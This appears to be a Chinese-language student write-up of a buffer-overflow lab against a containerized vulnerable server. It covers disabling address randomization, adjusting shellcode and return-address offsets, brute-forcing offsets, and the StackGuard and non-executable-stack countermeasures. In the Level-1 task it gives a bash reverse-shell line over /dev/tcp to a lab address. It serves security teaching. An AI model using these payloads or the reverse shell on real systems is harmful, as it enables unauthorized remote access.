Lab Environment Setup
- 下载解压好 Labset.zip 文件
- 关闭地址随机化,
sudo /sbin/sysctl -w kernel.randomize_va_space=0
- 阅读并编译被攻击的程序,
cd server-code && make && make install
- 启动容器,
dcbuild && dcup
,提供的别名只能在 bash 中使用,如果要在 zsh 中用需要自己设置一下 alias
Task 1: Get Familiar with the Shellcode
cd shellcode |
要实现删除操作,改一改命令就可以了,需要确保长度不变!这里我们熟悉一下 shellcode 的作用就 ok
Task 2: Level-1 Attack
客户端向服务端发送一个字符串,服务端会将这个字符串作为标准输入,执行 stack 程序,并且把 stack 程序的输出在 dcup 的窗口显示出来。
我们把 shellcode 复制过来,修改一些参数,实施缓冲区溢出实验。
结果如下,注意每次重启容器,地址都会发生变化,我重启了一下,所以地址和上面的代码不相匹配。
为了实现反向 shell,只需要把 ls 那一行命令修改为 /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
就 ok 了,剩下的不用动,注意长度。(具体实现原理 shellshock 实验讲过了)
Task 3: Level-2 Attack
只知道 buffer 的地址,不知道 ebp 的地址,但是知道 buffer 的大小为 100 到 300,那么 ebp 比 &buffer 最小大 100,最多大 308(感觉是这个数,也可以再大点)。当 ebp 比 &buffer 大 308 时,ret 至少要大 312,所以我们就能取 312。这个数还能再大点,但是太大了也不行,太大了后面就没有空间存 shellcode 了。
ret = 0xffffd4b8 + 312 # Change this number |
Task 4: Level-3 Attack
# Put the shellcode somewhere in the payload |
和 Setuid 版本差不多,不过多了个服务器罢了。难度却大大降低,因为直接把地址都给了,Setuid 版不给地址,只能自己通过 GDB 调试得到地址,并且 GDB 调试出来的地址还和实际运行的地址有偏移。这个就没这种问题,把 shellcode 放最前面就可以了。
Task 5: Level-4 Attack
同 Setuid 版,在 main 函数中还有一份字符串啊,所以我们可以调用 main 函数中的那个 shellcode,但是不知道地址,也没法用 GDB。所以只能用暴力法了。k y l
start = 517 - len(shellcode) # Change this number 放最后面,比较好找到,因为前面是 nop |
然后写个小脚本,如下,我这里是每次增加 100,也可以改的更精细一点,这样容错率更高:
!/bin/bash |
执行情况如下,在偏移 1200 的情况下就可以了:
Task 6: Experimenting with the Address Randomization
打开地址随机化后,每次地址都不一样了,但是对于 32 位地址来说,情况还是有限的,我们可以使用脚本穷举解决问题。脚本已经给了,跑一跑就好了。
Tasks 7: Experimenting with Other Countermeasures
Turn on the StackGuard Protection
打开栈溢出保护机制,当存在栈溢出时就会报错。具体实现就是会有一个哨兵在栈底,如果栈溢出了就会改变哨兵的值,检测到哨兵的值发生改变了,那么就会抛出错误。
Turn on the Non-executable Stack Protection
栈不可执行机制,只是栈不能执行罢了,可以通过 ret2libc 或者 ROP 等技术破解之。